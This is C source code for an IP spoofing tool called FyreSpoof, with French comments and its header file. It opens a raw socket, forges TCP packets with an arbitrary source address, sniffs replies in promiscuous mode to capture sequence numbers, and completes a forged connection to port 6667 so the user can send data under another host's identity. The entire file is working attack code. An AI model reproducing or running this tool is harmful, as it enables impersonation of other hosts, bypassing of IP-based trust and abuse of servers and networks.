/*
   by truff (Fyres team)
   and www.asmbeginer.com
   for linux!
   cc -o fyres fyres.c -lpcap

*/

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <signal.h>
#include <pcap.h>
#include "fyrespoof.h"




u_long acknbr = 0x53;
u_long seqnbr = 0xa1d95;
u_long src_ip, dst_ip;
u_short src_prt, dst_prt;
u_short connexion = 1;
int sd, fd[2];




int main (int argc, char *argv[])
{

        int network, c;
        int i=1;

    char *cp;
    char data[1024];
    int data_size;
    pid_t pid_fils = 0;


    char errbuf[PCAP_ERRBUF_SIZE];
    char *device;
    pcap_t *capture;




        src_ip  = 0;
    dst_ip  = 0;
    src_prt = 0;
    dst_prt = 0;


    /*
     *  Separation des parametres d'entree
     */

    if (argc<2)
    {
        usage(argv[0]);
        exit(ERROR);
    }

        src_ip = inet_addr(argv[1]);
        src_prt = SOURCE_PORT;
        dst_ip = inet_addr(argv[2]);
        dst_prt = DESTINATION_PORT;





    /*
     *  Creaion d'un pseudo pipe
     */

    fd[0] = open("seqfile", O_RDWR | O_CREAT);
    fd[1] = open("ackfile", O_RDWR | O_CREAT);


        /*
     *  Initialisation du socket
     */

  network = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if(network==-1) {
    perror("Ouverture du socket impossible ");
    exit(1);
  }
  sd = network;

    /*
     *  On precise qu'on va remplir les  headers IP
     */

  if ((setsockopt (network, IPPROTO_IP, IP_HDRINCL, (char *) &i, sizeof
(i))) == ERROR)
    {
      perror ("setsockopt");
      exit (ERROR);
    }



    /*
     *  Initialisation de pcap (capture de packets)
     */

    device =  pcap_lookupdev(errbuf);
    if(device == NULL) printf("Erreur pcap: %s", errbuf);

    capture = pcap_open_live(device, 10000, 1, 10000, errbuf);
    if(capture == NULL) printf("Erreur pcap: %s", errbuf);


    /*
     *  On se connecte
     */

    TcpConnect(src_ip,
                       dst_ip,
                       src_prt,
                       dst_prt,
                       network,
                       capture);

    /*
     *  On cree le processus por recevoir
     */

    signal (SIGQUIT, PcapQuit);
        if (!(pid_fils = fork  ()))
                {
                        pcap_loop(capture, 0, (pcap_handler)AffichePkt,
NULL);
                }



        /*
         *  Boucle qui gere l'envoie de donnees
         */


        while((strncmp(data, "QUIT\r\n", 6)) != 0)
                {

                        fgets(data, 1024, stdin);
                        data_size =  strlen(data);
                        data[data_size-1] = '\r';
                        data[data_size] = '\n';

                        lseek(fd[1], 0, SEEK_SET);
                        read(fd[1], (char*)&acknbr, 4);

                        SendTcpPacket(network,
                           src_ip,
                           dst_ip,
                           src_prt,
                           dst_prt,
                           seqnbr,
                           acknbr,
                           0,0,0,1,1,0,
                           1024,
                           data,
                           data_size+1);

                        seqnbr = seqnbr + data_size + 1;


                        lseek(fd[0], 0, SEEK_SET);
                        write(fd[0], (char*)&seqnbr, 4);

                }



        /*
     *  Fermeture du socket
     */

    signal(SIGQUIT, PcapQuit);
    pcap_close(capture);
    close(network);
        return 0;

}




/*********************************************************/
/*  usage: fonction d'aide poue l'utilisateur            */
/*********************************************************/

void usage(char *name)
{
    fprintf(stderr, "usage: %s src_ip dst_ip\n", name);
    exit(1);
}




/**********************************************************/
/*  AffichPkt: fonction callback                          */
/*             qui traite les packets recus selon leur    */
/*             contenu                                    */
/**********************************************************/

pcap_handler AffichePkt(unsigned char *dummy, const struct pcap_pkthdr
*header, const unsigned char *pkt)
{

        int i;
        u_long seq=0;
        bpf_u_int32 longueur;
        u_long src_ip1;
        u_short dst_prt1;
        u_char flags1;
        u_char buffer[1024];

        memcpy(&src_ip1, pkt+26, 4);      /* pkt+24 adresse ip source */

        memcpy(&dst_prt1, pkt+36, 2);     /* pkt+36 adresse port
destination */
        memcpy(&flags1, pkt+47, 1);       /* pkt+47 adresse des flags */


        if((src_ip1 == dst_ip) && (dst_prt1 == htons(src_prt)))
                {

                        longueur = header->len;
                        /*printf("long: %d\n", longueur);*/

                                if((flags1 == 0x18)&&(!connexion))
                                        {

                                                acknbr = acknbr +
(longueur - 54);
                                                memcpy(buffer, pkt+55,
longueur-54);
                                            buffer[longueur+1-54] =
'\0';
                                            printf("%s", buffer);

                                            lseek(fd[0], 0, SEEK_SET);
                                                read(fd[0],
(char*)&seqnbr, 4);

                                                lseek(fd[1], 0,
SEEK_SET);
                                                write(fd[1],
(char*)&acknbr, 4);

                                                SendTcpPacket(sd,
                                                           src_ip,
                                                           dst_ip,
                                                           src_prt,
                                                           dst_prt,
                                                           seqnbr,
                                                           acknbr,
                                                           0,0,0,0,1,0,
                                                           1024,
                                                           NULL,
                                                           0);
                                        }

                                if(connexion)
                                        {
                                                memcpy(&seq, pkt+38,
4);     /* pkt+38 adresse du seq */
                                                acknbr = htonl(seq);
                                        }

                }

}




/**********************************************************/
/*  TcpConnect: Creation d'un connexion TCP en raw        */
/**********************************************************/

void TcpConnect(u_long _src_ip, u_long _dst_ip, u_short _src_prt,
u_short _dst_prt, int _network, pcap_t *_capture)
{

        /*
     * Envoie du Syn
     */

    SendTcpPacket( _network,
                            _src_ip,
                            _dst_ip,
                            _src_prt,
                            _dst_prt,
                            seqnbr,
                            acknbr,
                            0,1,0,0,0,0,
                            1024,
                            NULL,
                                0);


        /*
     *  Reception du Ack
     */
    sleep(2);
    pcap_dispatch(_capture, 1, (pcap_handler)AffichePkt, NULL);
    pcap_dispatch(_capture, 1, (pcap_handler)AffichePkt, NULL);

    seqnbr++;  /* incrementation du numero de sequence */
    acknbr++;  /* incrementation du numero d'acquittement */

    lseek(fd[1], 0, SEEK_SET);
        write(fd[1], (char*)&acknbr, 4);
        lseek(fd[0], 0, SEEK_SET);
        write(fd[0], (char*)&seqnbr, 4);


    /*
     *  On acknoledge le serveur
     */
    printf("ack: %lx\n", acknbr);

    SendTcpPacket( _network,
                            _src_ip,
                            _dst_ip,
                            _src_prt,
                            _dst_prt,
                            seqnbr,
                            acknbr,
                            0,0,0,0,1,0,
                            1024,
                                NULL,
                            0);

        connexion = 0;
        printf("Connection etablie....\r\nVeuillez vous
authentifier\r\n");


}





/**********************************************************/
/*  SendTcpPacket: envoie d'un packet TCP                 */
/**********************************************************/

void SendTcpPacket (int s, unsigned long s_ip, unsigned long d_ip,
unsigned short s_port, unsigned short d_port, unsigned long seq_num,
unsigned long ack_num, short _fin, short _syn, short _rst, short _psh,
short _ack, short _urg, unsigned short winsize, unsigned char *data,
unsigned short data_size)
{
  struct sockaddr_in sin_dst;
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct pseudohdr *pseudo;
  unsigned char *DATA;
  unsigned char packet[2048];
  size_t packet_size;

  packet_size = TCPHDRSIZE + IPHDRSIZE + data_size;


  ip = (struct iphdr *) packet;
  pseudo = (struct pseudohdr *) (packet + IPHDRSIZE - PSEUDOHDRSIZE);
  tcp = (struct tcphdr *) (packet + IPHDRSIZE);
  DATA = (unsigned char *) (packet + IPHDRSIZE + TCPHDRSIZE);

  bzero (packet, sizeof (packet));
  if (data != NULL) memcpy (DATA, data, data_size);

  pseudo->saddr = s_ip;
  pseudo->daddr = d_ip;
  pseudo->useless = 0;
  pseudo->protocol = 6;
  pseudo->leng = htons (TCPHDRSIZE + data_size);

  tcp->source = htons (s_port);
  tcp->seq = htonl (seq_num);
  tcp->ack_seq = htonl (ack_num);
  tcp->doff = 5;
  tcp->fin=_fin;
  tcp->syn=_syn;
  tcp->rst=_rst;
  tcp->psh=_psh;
  tcp->ack=_ack;
  tcp->urg=_urg;
  tcp->window = htons (winsize);
  tcp->urg_ptr = 0;
  tcp->dest = htons (d_port);
  tcp->check = 0;
  tcp->check = in_cksum ((u_short *)pseudo, TCPHDRSIZE + PSEUDOHDRSIZE +
data_size);



  ip->saddr = s_ip;
  ip->daddr = d_ip;
  ip->version = 4;
  ip->ihl = 5;
  ip->ttl = 255;
  ip->protocol = 6;
  ip->tot_len = htons (packet_size);
  ip->tos = 0;
  ip->id = htons(242);
  ip->frag_off = 0;
  ip->check = 0;
  ip->check = in_cksum ((u_short *)packet, IPHDRSIZE);

  sin_dst.sin_addr.s_addr = ip->daddr;
  sin_dst.sin_family = AF_INET;

  if ((sendto (s, packet, packet_size, 0,
          (struct sockaddr *) &sin_dst, sizeof (struct sockaddr))) ==
ERROR)
    {
      perror ("sendto");
      exit (ERROR);
    }
}





/**********************************************************/
/* in_cksum: calcul des checksum des entetes              */
/**********************************************************/

unsigned short in_cksum (u_short *addr, int len)
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }


  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }


  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}




/**********************************************************/
/*  PcapQuit: on quit le processus de reception           */
/**********************************************************/

static void PcapQuit(int sig)
{
        exit(1);
}






/*********************************************/
/*                                           */
/*   FyreSpoof.h                             */
/*   Prototypes and defines for FyreSpoof.c  */
/*                                           */
/*                        By TruFF (09/00)   */
/*                        Fyres Team         */
/*                                           */
/*********************************************/




#define ERROR              -1
#define IPHDRSIZE          sizeof(struct iphdr  )
#define TCPHDRSIZE         sizeof(struct tcphdr )
#define PSEUDOHDRSIZE      sizeof(struct pseudohdr)
#define SOURCE_PORT        1500
#define DESTINATION_PORT   6667


void
usage(char *);

void
SendTcpPacket (int,
                         unsigned long,
                         unsigned long,
                         unsigned short,
                         unsigned short,
                         unsigned long,
                         unsigned long,
                         short,
                         short,
                         short,
                         short,
                         short,
                         short,
                         unsigned short,
                         unsigned char *,
                         unsigned short);

unsigned short
in_cksum (u_short *, int);

pcap_handler
AffichePkt(unsigned char *,
                const struct pcap_pkthdr *,
                const unsigned char *);

void
TcpConnect(u_long,
                u_long,
                u_short,
                u_short,
                int,
                pcap_t *);


static void
PcapQuit(int);


struct pseudohdr
        {
            unsigned long saddr;
            unsigned long daddr;
            char useless;
            unsigned char protocol;
            unsigned short leng;
        };



